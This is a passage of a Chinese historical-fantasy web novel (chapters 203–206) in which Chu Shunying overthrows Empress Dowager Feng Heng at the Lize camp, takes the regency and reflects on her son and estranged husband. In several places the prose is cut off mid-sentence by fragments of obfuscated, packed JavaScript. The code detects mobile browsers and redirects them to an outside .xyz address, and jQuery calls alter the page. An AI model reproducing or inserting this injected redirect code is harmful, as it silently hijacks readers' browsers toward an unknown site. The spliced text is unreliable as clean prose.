那天下午,是班府车夫最卖力的一个下午,马跑得气喘吁吁、口吐白沫,车轮与路面摩擦火花四溅。不到两个时辰,分散在附近几座城池的班益子女一个个被送到明德门下,甚至包括元旭的新婚妻子——班珂。 班珂不过双十年华,生得娇小灵动,略一听说事情经过,也顾不上女儿家矜持,飞快拔下满头珠翠簪钗,跪地叩头不起,直叩得头破血流。 “大娘娘冤枉,阿旭肯定是被挟持的”,班珂嚎啕大哭、涕泗横流,又膝行过去、紧紧牵住父亲衣袍,“爹爹,救救你女婿罢……他平时杀鸡都不敢听,怎么可能敢去造反?” 班益眼神复杂盯着跪在腿边的女儿,无奈地重重叹息一声:“早与你说过,这婚事不成,偏你被迷了心窍。若早些和离,何至如今将父兄牵累至此啊。” 班珂眼里慢慢透出绝望,忽又连声辩解:“爹爹,女儿已有四个月身孕,阿旭即将初为人父,哪来的气性去造反?” 一直沉吟不语的冯姮站起来,看向班益:“阿旭自小面软心活,哀家也不相信他会谋逆,许是真的为奸人所惑或是被挟持……” 班益班珂面露喜色。 “哀家与陛下将亲自前往笠泽,以壮王师威势”,冯姮思索片刻又道,“阿珂也跟哀家一道去吧,有妻儿阵前劝说,阿旭也可尽早弃暗投明。” 班益的心,从那个瞬间开始,缓缓沉向冰窟深处。 203. 水能载舟 四月十二下午,庄后褚舜英率褚氏阖族谋大逆,被平南侯元旭施计擒获。 “微臣平南侯元旭觍得陛下、大娘娘信重,叛乱已平,现押解主谋褚舜英,褚氏逆贼匪首及部曲共计六百二十五人,向陛下与大娘娘复命!劳烦太尉大人代为通报!” 申末,笠泽大营旌旗招摇、威势震天,元旭走下甲板面向班益,双膝下跪,垂下眼眸朗声呼喊。 班益端坐马背,目不转睛俯视元旭良久,直至元旭抬头与他对视,才翻身下马,望向身后楼船之上。 天空是透明的蓝,遥远的山峦下飘散着零星几缕絮云,六百余人被反剪双臂,却站得笔直,如一柄柄出鞘利剑。初夏的风溽热,他们脸上神色却像洁白的雪,落入晶莹霜地,高冷、骄傲。 一刻钟后,被重兵拱卫的中帐,传来宦官尖细悠长的传令:“带逆犯面见圣上——” 旋即,簇拥着中帐的侍卫中,发出窸窸窣窣的铁甲和利器摩擦声,步兵方阵分开道路。五六十名侍卫整整齐齐鱼贯而出,领头那人向班益微微颔首。 班益会意,迅速从自己麾下召集一千亲兵,一对一押解褚氏部曲,他则与领头人亲自押解褚舜英走在队首,元旭走在最前,一行人疾步走向中帐。 众侍卫簇拥着九尺高台,伞盖下人头攒动,元承祉端坐正中主位,时不时转头看冯姮脸色,冯姮和冯广年一左一右就座,将他夹在中间。冯姮左侧座椅特意铺设软垫和靠背,班珂呆滞地坐在椅子上。其余座位上,是几位德高望重的元氏宗亲、廷尉卿等…… 四季阁秘卫、隐蝠卫分散在这些人前后左右,以及高台四个角,将他们护卫得密不透风。 元旭和班益将舜英带上高台,站在她身后,一左一右两把刀架于她颈部。她视若无睹,端端正正立在高台之上,脊背挺得笔直,双眼目不转睛盯着冯姮,夏风吹过她额心疤痕,她嘴唇苍白得没一丝血色,却带起一抹似笑非笑的轻蔑。 “跪下!”隐蝠卫统领沉声呵斥。 舜英只死死盯着冯姮,没给他任何表情和眼神,甚至唇角上扬的弧度都分毫未变。 冯姮气定神闲,微微笑了:“阿英,后悔谋逆否?” “首先,我是要匡扶正统、而非谋逆”,舜英也笑了,“其次,我不与你作对,你就不想让我死吗?” 冯姮转向承祉:“陛下,你的娘亲想把你从王位拉下来……” “坏女人,我没有娘亲”,承祉不等冯姮说完,立即站起来冲到舜英面前,一边拳打脚踢一边哭骂,“王祖母说得没错,你是世上最狡猾最恶毒的女人!” 元氏宗亲面面相觑。 “陛下!”冯姮忙出声打断,“谋逆该当何罪?” 承祉狠狠啐了一口:“诛九族!朕要把你和褚氏所有人千刀万剐,全部凌迟……啊!” 他陡然发出一声惨叫,翻滚着跌回座椅下。说时迟那时快,就在他滔滔不绝吐出恶毒词汇时,舜英飞起一脚将他踹回座位,然后面带微笑,一字一字柔声说:“让大伙瞧瞧你这副脓包样,也配当庄王之子、昭王之孙。” 承祉被她踹得翻白眼,哭得更大声:“坏女人……我要杀了你,千刀万剐……” 班益和元旭对视一眼,立即踢膝弯的踢膝弯、压肩膀的压肩膀,迫使她双膝跪地,将她死死按在地上。 冯姮霍然站起,指着她就骂:“对亲子尚且如此,你好生恶毒。还有脸提阿旻,你这水……你这篡权夺位的乱臣贼子!”她两眼似要喷出火焰,胸膛止不住起伏。 “我为什么不能提?我又没专权乱政、里通异族,陷害忠良、党同伐异,更没有谋害他的嗣子和长子……”舜英双肩被压得矮了数寸,不得不弯腰,却仍竭力抬起头,望向冯姮、笑容满面。 冯姮气得发抖,眼中掠过一丝惶然,却只冷叱“一派胡言”,旋即紧闭双唇一字不发。 舜英笑容更盛,不疾不徐地说:“我先前一直不太明白,您辛辛苦苦替先王谋划四年,可他即位之后,若巡军或出宫体察民情,宁愿让丞相代为监国,都不愿让您沾染权柄分毫,您说这是为何?母后……” “闭嘴!”冯姮终于破防,走近一步,指头即将戳上她额头,“妖言惑众!” 舜英盯着她,一字一字朗声道:“因为你私欲太重,重权术、轻国体。爱权力远大于爱江山社稷,维护母族与自身利益远大于维护国祚……” 冯姮厉声呵斥:“闭嘴,闭嘴……带下去!” 班益和元旭一手摁住她肩膀,一手将她拖起站直,舜英冷笑两声、耸动肩膀挥开二人:“放肆!我乃忠烈之后、延光王之母,上过宗谱玉牒的王后,也由得你们作践?” 旋即,她噙着冷笑,缓缓环顾四周,再盯住冯姮,继续说出余下的话:“因为你白受三十多年圣人教诲,装得再礼贤下士、宽仁爱民,骨子里还是北宛那套顺昌逆亡、弱肉强食!在意的只有至高权力,以忠烈将士为奴隶,轻贱百姓如犬豕……” “啪!”一记耳光破空而来,快得几乎挥出重影,冯姮面目狰狞,从齿缝挤出四个字:“娼妓之女!” 她被说中数年心结,怒火再难抑制,就这样丝毫不顾体面,在众目睽睽下掌掴国君生母,坐一旁的元氏宗亲惊呆了,有几个已经跃跃欲试想站起来劝阻。 舜英被打得歪过头,唇角沁出一丝血迹,却依然笑着,缓缓说:“我是娼妓之女,您的儿子却执意娶我为后,又算什么?” 又一耳光挥来,冯姮走得离她更近,唇角勾起蔑笑:“算你会狐媚惑主!” 她这一耳光没能落下。 电光火石间,众人只觉眼前一花,弯刀在空中挥出霜冷雪白的重影,有人飞快旋身、有人疾步向前。 仅仅一错眼工夫,舜英拔出元旭腰间佩刀,旋身绕到冯姮身后,将刀刃贴上她娇嫩的颈部:“都退后!” “四季阁的诸位侠士,是想与我赌一赌谁的刀快么?”她笑容可掬缓缓低头,附到冯姮耳边柔声说,“这一次,可没再人肯豁出性命来救你,母后……” 同一时刻,班益疾步冲上前,将班珂拉进怀中、站到元旭背后,翁婿二人一前一后将班珂护在中间。 高台下的班益亲兵也纷纷挥刀,斩断褚氏部曲绳索,被松绑的部曲飞快抽出绑在腿上的短刀,刺向邻近的侍卫。 直到侍卫的血飞溅、落下,浇洒一地殷红,护在台下的侍卫和精兵才如梦初醒,一时面面相觑、拿不定主意。 冯姮高喊:“诛杀逆贼为先!” “谁是逆贼?”一直沉默的元旭忽然出声,慢慢挺直了脊梁,眼神霍然雪亮,清了清嗓子,扬声连呼三声,“庄王陛下遗诏,众臣接旨!” 人群哗然。 冯姮难以置信看向元旭,班益神色淡淡的,只将女儿护得更严实,舜英惊愕了一瞬,马上将手中刀贴得更紧。 元旭回首瞟了一眼,宗亲和百官全因惊讶惶恐站立起来,台下众将士也齐刷刷盯向他。他镇定地笑了笑,解开腰带,褪下外袍,然后从地上捡起一把短刀,缓慢地、珍而重之割开中衣下摆,撕下缝在中衣上一块不规则的旧布。 绸布已褪色,依稀可见原本的天青色,血红字迹已黯旧发黑,却仍能隐隐看见印玺的形状。 “永平六年,庄王陛下崩逝武原城之前,将此遗诏托付长兄”,元旭挥动血诏,说出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哗”,像无形力量劈开波面,众将士迅速从方阵中央让出一条道路。 元璟在前,身后两名女子一左一右、男童居中,身后是承徽和穆阐,谢恬率领数百名飞廉武士在更后,一行人将男童护得密不透风,正龙行虎步向高台快速走来。 那男童,正是消失大半年的延光王元承祎。 所有人下巴掉落到地上,僵在原地。元旭和班益也像被五雷轰顶,面面相觑、呆住了。 冯广年看了看舜英坚决冷厉的神色,又看了看疾步走来的元承祎,忽然放开元承祉,飞快走到高台之下,跪在路边高呼。 “罪臣冯广年,拜见王上,拜见太后陛下!” 舜英唇角露出一丝嘲讽,手上刀未松分毫,冷声吩咐:“冯广年听令,即刻逮捕四季阁逆贼,如有反抗就地正法!” 站在高台上的灰影齐齐一僵,正要四散逃离,众侍卫已纷纷挥刀砍向他们。四季阁毕竟武艺高强,大半暗卫尽皆逃出高台。 元承祎也肃然站定,沉声下令:“众军听令,诛杀四季阁逆贼!” 高台下之下,霎时刀光剑影,铁甲、长枪短剑汇作无垠霜白,寒冷霜白的海洋,陡然激起几簇殷红浪花,小小的、零星的,转瞬即逝。 不过短短一盏茶时间,千军万马之中,冯姮精心组建的四季阁灰飞烟灭。 “承祎、徽儿看好了,刀永远要握在自己手中”,舜英瞥了一眼渐行渐近的三个孩子,笑了笑,松开横在冯姮颈上的刀,手臂一带将她放回座位,面向她躬身一揖,朗声高呼,“母后有心疾,以致言行疯迷,还请回宫休养!” 204. 临朝称制 承祎左手牵着承徽,右手拉着穆阐,拉着他们与自己同登高台。然后,走到舜英面前三跪九叩、稽首大拜。 “儿臣携胞妹承徽、东宫侍读穆阐,拜见摄政太后陛下。恭请母后临朝称制,主持大局!” 旋即,他又走到冯姮座位前,面带微笑字字铿锵:“祖母有疾,请回宫休养。” 元旭已将班珂扶下高台,送到褚秋水身边托付照看,忙回到高台与班益同时下跪,沉声高呼:“恭请太王太后回宫休养!” 冯广年遂命麾下心腹卸下兵甲,双膝下跪,双手将佩刀平平举过头顶,紧随其后高声请奏:“恭请太王太后回宫休养!” 陈兵笠泽大营的众将见状,亦纷纷双膝下跪、解下佩刀平平举过头顶,齐声高呼:“恭请太王太后回宫休养!” 呼喊声震天撼地,这是人世间最幽微也最明朗、最柔软也最坚硬、最软弱也最锋利的力量——人心。 从元承祎出现在笠泽大营那一刻,冯姮眼中神采开始一分分黯淡下去,此后冯广年叛变、四季阁被诛,她双眸像是已烧尽、凉掉的炭灰,再激不起半分生机。 直到呼吁她“回宫休养”的声音越来越高,她忽然笑了,缓缓站起来,从袖中取出一瓶毒药、倒入口中,一字一字说:“好教天下人看着,你们母子如何违礼背伦,不忠不孝!” 舜英回身,神色平静、目光悲悯,从容地淡淡道:“母后还是尽快寻解药罢,莫叫御医为难。” 旋即,她从袖中取出一物,慢悠悠递到冯姮面前。冯姮冷笑着扫视过去,目光倏然一凝,骇然惊呼:“你把他怎样了?” “嘘——小声些。”舜英轻微歪头,唇角缓缓勾起弧度,似在一分一分欣赏她的惊惶、痛苦和绝望。 “好好瞧着,看我这卑贱的娼妓之女,一步步将权力握在手中。你的母族将被挫骨扬灰,柘枝城将被战火烧成焦土,世上将再无‘北宛’政权,你引以为傲的高贵出身将化作齑粉!” 突然,笠泽响起无数昂扬而嘹亮的号角声,声振湖海、高遏行云,几十艘门舰破开波浪,在白淼淼江面上迅速驶近,旌旗招展。 笠泽水师! “末将三川两湖水师都督周士承!” “末将平南大都督陆斐!” “末将淮南边户大都督晏驰!” “启奏陛下,末将奉旨御敌,犯境的崔氏叛军首恶已尽数伏诛,三万金州军已被招降、分散整编入沿江二十城驻军。” 随后,周士承直身站起,珍而重之捧着一个扁平木盒,款步走到高台之下,再度双膝下跪、将木盒高举过头顶,以台上台下各重臣都能听到的音量,清晰而缓慢地沉声禀告。 “三郡二州边户都督元承赟已将勤王骑兵退回朔北,托臣为陛下带来薄礼。” 从北翊到三郡二州,从称孤道寡到边户都督,从拥王乱军到勤王骑兵。 持续数年的南北翊之争,就这般被她轻描淡写、灰飞烟灭;阴谋阳谋、明争暗斗皆无法招安的十万骑兵,就这般被她寥寥数语、迎刃而解。 元旭忙走到周士承面前,将木盒双手接过,奉上高台。班益揭开盒盖,里面平整叠放着一件衣袍,他只瞄了一眼,便将惶恐的目光投向元承祎。 元承祎大步流星走到木盒前,捏住衣领猛然一挥,双手将衣袍举起撑开,展示于百官众将眼前。 众人哗然,齐声惊叹。 玄色上衣、纁色下裳,衣绘山、川、湖泊、凰、华虫,裳绣藻、粉米、黼、黻——摄政太后临朝服饰。元承祎毫不迟疑转身,对舜英跪下,将玄衣纁裳举过头顶,高声请求:“请母后更衣!” 元璟眉目漾起欣慰笑意,振了振衣袍、走上高台,在舜英面前站定:“翊太祖第五十六代世孙元璟,奉凰羽寺大祭司之命,奉立‘边垣之盟’盟主。褚舜英,接剑!” 他双手平举,将一柄剑递到她面前,三尺半的笔直剑鞘、古拙无华——定光剑。 舜英心神一凛,弯曲双膝下跪,双手举过头顶剑接过定光剑,元承祎也借机将玄衣纁裳披在她身上。她站起身,脊背笔直,在浩淼天地之间站定。 劲风吹个不停,她身上的玄衣纁裳鼓荡不休,她却巍然不动,左手执剑鞘、右手握剑柄,缓缓抽出定光剑。三尺长的剑身全部出鞘,中天那轮煌煌白日忽地一黯,千万光芒飞速聚向刃尖,长剑白光暴涨、堪比日月星辰。 剑的光芒映照在舜英身上,将她整个人笼罩在绚烂耀眼的光晕中,宛如神明。台下众人俱已忘了呼喊,忍不住双膝发软、跪伏在地,顶礼膜拜。 舜英注视着黑压压人群,沉吟良久,朗声高呼:“百官听令,重启‘边垣之盟’!” “丞相元旭听令,即刻归置辎重粮草货船,支援宛平!” “太尉班益、三川两湖水师都督周士承、宛陵骠骑将军左肃听令,即刻整兵备战,八万骑兵三天后辰时,准时从西津渡出发。” 史载,延光八年四月十二,褚舜英于阊江笠泽大营,众望所归、被百官众将拥戴为主,而后受庄王遗诏、由长子延光王亲手衮冕加身,临朝称制。 三天后,宜邑西津渡,上百艘载满骑兵、马匹、粮草和军械的楼船货船整装待发。 冯广年带着几十名子侄,穿普通士兵服饰,站在甲板上。 冯睦轻声问:“爹,太后陛下将咱们充军,是为了仁义之名,让咱们去草原送死么?” “不,这是我向她求的”,冯广年仰头看向高处,唇角露出一丝决然笑意,“你二哥和带去的族人死于冯栩之手,我想回去替他复仇。咱们即使死,也要作为勇士、有尊严地死去。” 旋即,他举起弯刀,跟随主帅班益、先军指挥左肃放声高喊:“屠尽北宛二十三部!踏平柘枝城!” . 沉香木大床、沉香木妆台、沉香木书案、沉香木多宝格、沉水熏衣香……浓郁的沉香气息将她紧紧包裹,无法喘息。她一步步退回院中,花圃里的茉莉初初结苞,嫩青顶端绽着一点洁白。 她深吸一口气,款款走出景和宫大门,对侍立在外的侍卫宫人说:“封上吧。” 厚重宫门轧轧向中合拢,末了,“哐当”扣在一处、严丝合缝,插上手臂粗的铜销,挂上锃亮黄铜大锁,再交叉贴上封条。 她默然凝视半晌,缓慢转身,沿宫道向东走去。 元承祎站在宫道尽头,不知等了多久,他身后躬身站着两名女子。见她走近,纷纷稽首三拜行礼。 “微臣许姿,拜见太后陛下。” “庶民韦秋屏,恭请太后陛下圣安。” 元承祎急切地迎上去,满眼哀求期冀:“母后既与两位娘子交好,我将她们请进宫里,日夜陪着母后可好?” “朕不需要,放她们归家”,舜英脚步一滞,脸色上闪过片刻愠怒,旋即恢复从容温和,“许娘子和韦娘子冒着粉身碎骨的风险,将你藏在庄子里,金尊玉贵照拂大半年,你就这样报恩?” “我给许姑姑和她的孩子升了官,又封给她们爵位采邑,还封韦娘子的女儿作郡主……母后,我只是……”他眼见拦不住,索性一撩袍、跪在她前方的白石路面上,“求母后不要离宫居住。” 舜英思忖片刻说:“阿姿,我还需要一位贴身女官,掌管秉笔和计司的内舍人,你可愿过来?” 这并不是什么正经官位,只有摄政太后才需要专门擢选女官作内舍人,是属少府管辖的私人内官。率数十名门客女官,同住太后居所,处理诏令秉笔、百官奏表、财帛赋税和随侍顾问等,位低而权重,又称“白衣丞相”。 许姿岂有不愿,忙叩首谢恩。 舜英瞥了一眼承祎,压住怒火说:“阿姿,先替我送韦娘子出宫,好生安置。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051386|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许姿和韦秋屏如蒙大赦,忙匆匆告退,留母子二人对峙。 舜英唇角挂一丝笑,矮身静静与承祎对视,柔声道:“我那宅子就在东华门外,白日里咱们一起到大庆殿上朝、一起去上书房议事。入了夜,你住你的勤政殿,我住邶风别苑或景和宫,又有何区别?” 承祎低下头,垂眸盯着地面,嗫嚅道:“我七八年没见母后……舍不得……” 舜英脸上笑意散去,叹了口气,伸手轻轻摸着儿子柔软的头发,却什么也没说。 身后遥遥传来元旭的声音:“王上这是做什么?莫叫娘娘为难。” 承祎憋得满脸通红,却仍犟着不肯起来,两眼含泪、巴巴地看看元旭:“求叔父帮我劝劝母后。” 元旭还没说话,跟在他身后的承徽已经跑过去,揪着承祎的袖子摇晃:“王兄不要这样,母后只是在景和宫住着闷,邶风别苑离这儿很近,还在六叔宅子对面,咱们有空可以多去她那里玩。” 穆阐也上前,跪在承祎面前劝:“陛下勿忧,从春秋道可直通邶风别苑,确实很近。” 承祎无动于衷,依然泪汪汪盯着元旭。 元旭叹了口气,目光却带了些许探究,深深盯着承祎:“王上还是起来吧,臣劝不动。娘娘一向主意大,又明察秋毫。” “明察秋毫”四个字语气略重,其他人浑然未觉,承祎却陡然一僵,脸色晦明难辨。 舜英起身看向元旭:“太王太后今日餐饭如何?” 元旭笑了笑:“比往时少些,却仍在竭力进食。” 舜英点点头:“将御医署最好的太医调到宝慈宫当值,一应供养一如既往,她想吃想用什么份例外的,我与王上私库随便调用。” 顿了顿,她盯着承祎补充说:“我与王上不能背负屠戮上亲的大不孝罪名。” 笠泽兵变至今已有五日,冯姮被请入宝慈宫“养病”,新的卫尉卿将宝慈宫围得苍蝇都飞不出去,宫内所有门窗皆被铜条钉死,仅留一扇一人通行的窄小侧门可以开关,供服侍探视用。 冯姮失权被圈禁后,冬雪服毒自尽,宝慈宫阖宫上下都在往少府打点、另谋出路,飞鸟食尽各投林、落了白茫茫大地真干净。 春羽就在此时向舜英请命,愿入宝慈宫照顾冯姮起居。这位年近五旬的姑姑,伴嫁异国、流落他乡,烧了一辈子冷灶,没过几年扬眉吐气的好日子,眼见日子明朗起来了,转瞬又投了更冷的灶。 舜英吩咐少府拨了二十个宫人去宝慈宫,月钱份例加倍,免得春羽太过辛劳。 此外便是元旭,他每天下朝后总要去宝慈宫遛一圈。 都是些无可救药的笨人,却偏偏是这些笨人,令她莫名觉得这世间值得。 舜英垂眸怀想片刻,对元旭说:“既已看过冯太后,就回去多陪陪阿珂,她前些日子受委屈了。” 承徽歪着头问:“母后不跟我们同路出宫?” 舜英笑着捏捏她的脸:“你们先走,我再跟哥哥说会儿话。” 兴庆宫位于景和宫正东,紧邻朔方门于安佑门之间直道,与宫学隔直道相对。 承祎即位后,每天上朝议政的闲暇,仍在兴庆宫聆听三师教诲。舜英推门进去,发现正殿、书房、寝殿所有陈设都跟二十多年前一模一样,就连庭前海棠树也酷肖昇阳王宫那棵。 她循着记忆走到陪殿,找到对应她幼时居住的那个房间,果然空空如也。 就像她从未在这世间存在过。 海棠树枝繁叶茂、浓荫如滴,她仰头指向顶梢:“我幼时,常爬上树顶折几枝海棠,插进花瓶放在你父王案头。” 承祎期待地注视着她:“母后以后也可以为我折花插瓶吗?” 舜英笑了笑:“当然可以。” 承祎眼圈泛起红,扯动嘴角挤出微笑:“母后已决定离开父王么?” 205. 缘去缘如水 舜英身形一僵,讶异地盯着他。 “没人对我说过什么,我猜的……看来猜对了”,承祎的笑容落寞而自嘲,“前年的事吧……从前年开始,六叔偶尔与人说起母后,不再称‘四嫂’,而是‘阿姊’——他是文官,一向礼数周全。” 舜英看着那笑容,陡然如利刃穿胸,苦笑着说:“他们都说你跟你父王很像,我却觉得,你比他更敏感。可是承祎,我记得你幼时分明很活泼胆大。” 承祎笑着摇摇头:“大概是,坐上那把椅子的人,总会变得越来越像。” 思索片刻,他又问:“父王还活着对吗?只是不想管我们了。” 舜英思忖片刻,委婉地说:“他只是无法接受如今的世道,也无法接受如今的自己。” 似有所感,她缓缓向殿内走去,一步步走过空荡荡的前殿、书房、寝殿,再回到前殿檐下,抬头看着庭中海棠树。无言哀立良久,笑了,眼里浮起些许泪花。 “他年少时,喜洁、喜静、喜书法、喜音律丝竹,对你六叔、五姑母、承陵承赟哥哥、念笙姐姐极尽照拂,不贪权位、不爱杀伐,清冷高洁如山顶白雪……” 承祎听得出神,忽然轻轻问:“母后说的,似乎不是父王……我记忆中的他与此大相径庭。” 舜英笑容怅惘:“因为他成了国君,也下定决心作一名好君主。” 承祎一瞬不瞬看着她,满脸与年龄不符的戚容:“为什么,从小到大形影不离的两个人,会变成如今这样?父王做错了什么?” “无关对错,只是我们都长大了”,她转头看向碧绿的树叶,“每个人长大后都有自己的路要走,那条路会孤单、也会会遇到新的同路人。可他害怕孤单,不愿孑孓独行,既不愿接纳新的同道中人,也不愿母后分道扬镳、遇到其他人。” 她伸出手,轻柔抚摸树干,幽幽道:“就像这海棠,花开花落自有时,我过了初春花时,想长得根深蒂固、枝繁叶茂,他却固执地只想让我留在繁花时节。” 承祎沉吟良久,眼里涌出泪花:“母后这些年究竟在哪?过得好么?” 舜英思忖片刻,委婉地说:“我一直在……朔北,与承赟并肩作战。” “所以母后回来,只是因为朔北粮草不济?”承祎难以自已颤动唇角、泪如雨下,“母后可以为了他们,回到阊江忍辱负重、勾心斗角,却不愿为了我回来。那些外人都比我重要!” “他们不是外人,是守护大翊疆土的忠勇烈士!也是我的挚友袍泽,更是几万人命!”舜英眼里掠过一丝森冷,声音陡然拔高,转瞬瞧见承祎泪眼,忽地想起他只是个刚满十二岁的孩子。 于是心底涌起一股恻隐和悲伤,微微躬身抱住她,柔声道:“承祎,我很遗憾没能陪你长大,也很歉疚在你最痛苦的七年没能支持你。徽儿长得很好,谢谢你将她保护得这样好。” 承祎一边搂着她哭泣,一边眼瞳发亮、盛满期盼:“母后别走,我可以等十年、二十年甚至更久再亲政。” 舜英摇摇头,叹了口气松开他:“承祎,若你是普通孩子,十年二十年甚至更久、我都可以陪着你,可你是一国之君。” 迎着承祎逐渐凉下去的期待,欲言又止的神情,她迟疑片刻,还是说出了那残忍的四个字:“国无二君。” “在你完全长大之前,我会一直在这里,为你保驾护航。可我懒得一辈子争权夺势,不愿摄政过久,致使朝野再次人心浮动,撼动你独一无二的地位。” 承祎低头,泪水一颗颗砸到地面,溅起浮沫飞灰:“孩儿谨遵母后教诲。” 舜英轻轻替他拭去泪水:“这国君你做得很好,比我想象中得更好。” 目送承祎的背影消失在宫道转弯处,孤独、萧索,舜英扬唇笑了,带着一缕狠戾、而后慢慢转为嘲讽和凉薄,流下两行泪水,轻声自言自语:“你真跟你父王一模一样……幸好,你是我血脉相连的儿子;不幸,你是我无法丢弃的儿子。” 她再次回头,看了一眼景和宫,又看了一眼兴庆宫。 走了七天七夜,从龙兴楼到景和宫;走了三年,从景和宫走到兴庆宫;又走了十六年,从兴庆宫走回景和宫;最后,她走了整整八年,终于将这重重朱墙、层层銮宇甩在身后。 她站在东华门下,抬头看向天空,天空是透明的薄蓝。阳光有些刺眼,一只通体雪白的鸟扑棱翅膀,轻盈越过鳞次栉比的屋脊,飞向遥远的山峦曲线。 “飞过去才发现,其实没有那么高。”她伸手,轻轻抚摸着朱红色宫墙,眉眼绽出笑意。 . “自牧归荑,洵美且异”,元璟站在邶风别苑门口,啧啧摇头,“你这宅邸名字……意味深长啊。” 想了想又补充说:“跟洛川别苑一样,矫情。” 舜英走过去,揶揄道:“师父是在赏玩自己题的字吧。” “为师的字也不是谁都给的”,元璟闲闲地往里走,“你可是说过,弟子事师、敬同于父,走,进去看看给我留的院子如何。” 舜英忙伸手去拦:“韦娘子和阿忆还客居在此呢,她可是荣国女子,你一个大男人多不方便?” “你这手过河拆桥,又是跟谁学的?”元璟凉凉说着,却没继续往里走,“一天到晚不学好,亏我替你奔走大半年。” 舜英忙赔笑脸:“晓得师父辛苦,对了……他如今怎样?” 元璟挑了挑眉:“还能怎样?慢慢恢复呗。手和上半身恢复差不多,腿还没知觉,他一时出不来,看样子以后也不打算出来……” 舜英唇角露出嘲讽:“其实,早些年他只要一现身,无论是残了废了,这一帮人都能被震慑,时局乱不成这样。” “反正现在你也稳住局势了,还埋怨他作甚?”元璟忽然定定注视着她,“阿英,我走之前,他说很欣慰自己没信错人……” “他的信重,徒儿实难消受”,舜英唇角笑意悲凉,“没别的了?” “还有,他不想让更多人知晓他还活着,还活得这样……不好”,元璟摇头,忽然轻轻叹息一声,神色带些悲悯,“他那股要强的别扭劲,只怕这辈子都改不掉。至于你以后……有些个事,他一个字不说,就等于什么都说了。” 舜英垂眸苦笑片刻,沉默下去。 这半生,至疏夫妻、同床异梦,她伤他至深、他伤她更深。到头来,竟还能凑合着互相成全。 她再次抬头,已带上释然的微笑:“多谢他的那封亲笔信,让冯太后有了求生执念。让他放心,我会信守承诺,使冯太后得以善终。” 元璟干笑两声:“答不答应他,你都不能当庭弑母、破坏祖制……权力就是这么个东西,瞧着翻云覆雨、无往不利,可握持它的人也不能为所欲为。” “怎么站在门口聊,嫌院子里太闷?”马蹄敲击路面、车轮辘辘碾压的声音越来越近,马车停在鹤雪别苑大门,元旭隔着街道遥遥招呼。 马车很大,元旭下车后,承徽和穆阐跟竹筒倒豆子似的、一个接一个掀开帘子蹦下,穆阐打车帘、承徽踩在踏凳上扶班珂下车,小心翼翼像捧着枚晶莹易碎的琉璃。 元璟促狭挑眉:“你将他们教得好,自己倒享清福。” “这福气给你要不要?”元旭苦笑着揉了揉肩膀,“去年千秋宴被砍一剑,现在伤倒是好了,一下雨就疼。小小年纪,哪来那么大气性?” 舜英笑容淡下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其实她更想逼得你不敢露头”,元璟似有所悟,“虽然她也想杀你,但如此打草惊蛇实在不智。她更想煽动仇恨,以莫须有的叛国罪名、使你成为天下公敌……自顾不暇,遑论帮助小陛下。” 舜英笑容越发嘲讽,一瞬不瞬盯着元旭:“曾经我也想隐姓埋名、亡命天涯,可武煊死了、姜夫人死了,后来崔氏跳反、我那些堂弟也死了……” 元旭避开她目光,低头喝酒。 元璟忙扯了扯她袖子:“承赟已不追究,别提了,吃醉酒早些休息。” “所以,你将布署藏在给九叔的茶具盒子里,让苻洵进宫掉包,再利用我送回阊江”,元旭却端起酒坛,与她碰了一下,落落大方地笑了,“敬我们这些不择手段的乱臣贼子。” “彼此彼此,藏在药盒里转给冯太后那封信,是你照阿晴笔迹仿写的吧”,舜英笑吟吟举起酒坛,又与他碰了一下,“敬我们这些恨之欲其死,却不得不示与世人孝悌忠信的……” “还喝!”元璟一巴掌将她手中酒坛拍飞,“给我滚回去躺着!” 又将元旭手里酒坛夺过、重重摔在地上:“你也是,好好的惹她作甚?没挨揍不舒服是不是?” 话音未落,舜英飞快出掌、一个手刀砍在元璟后颈,在元璟晕倒前难以置信的目光中,高声吩咐:“送师父回东院歇息。” 然后,她从地上提起两坛未开封的酒,扔给元旭一坛,揪住他衣领一直走,走到望楼才停下。 邶风别苑建在宫墙外,却仍是按宫禁规制,四角望楼也比别处高,登顶之后、整个阊江城都匍匐在脚下。 十七的月亮依然是浑圆的,投下满城银白。舜英站在巨大月亮下,狠狠灌下半坛酒,用力摔碎酒坛、去势未减,冲着元旭那张干净斯文的脸就是一拳。 “元旭,崔氏叛变,你暗中添了根柴吧”,她抱臂冷冷看着元旭,眼眶慢慢涌出泪水,“崔玄仁的两个儿子,是你暗中派人送去苻洹身边的吧。” 206. 我亦飘零久 那一拳极重,打得元旭歪过头,趔趄几步险些摔倒。 他却没有还手、甚至没躲避,只是缓缓撑直身躯、慢慢抚上唇角,一点点抹去沁出的血。清冷冷月光下,他一身淡蓝色阔袖长袍泛着柔光,草木水泽香气沁人心脾,恍然还是多年前那干净灵秀的少年。 眼神却已深不可测。 他面对舜英,微微抬头,字字清晰地轻声说:“是我。” 舜英扯了扯唇角:“你将崔氏二子送出的时候,就知道金州城褚氏子弟的下场?” “能猜到,但我顾不上了”,元旭眼眶微微泛红,却扬起唇角,“他崔氏大兴流言,逼死菀儿,我也想让他们感受一下作为叛将、受尽千夫所指的滋味。” 他定定注视着舜英,眼眶越来越红:“晏驰率领十万大军在丹水口等了一个多月,只等金州城破立即出兵。崔氏降不降,褚氏都好不了,可若褚氏直接死于苻洹之手,边垣之盟再无半分转圜余地。” 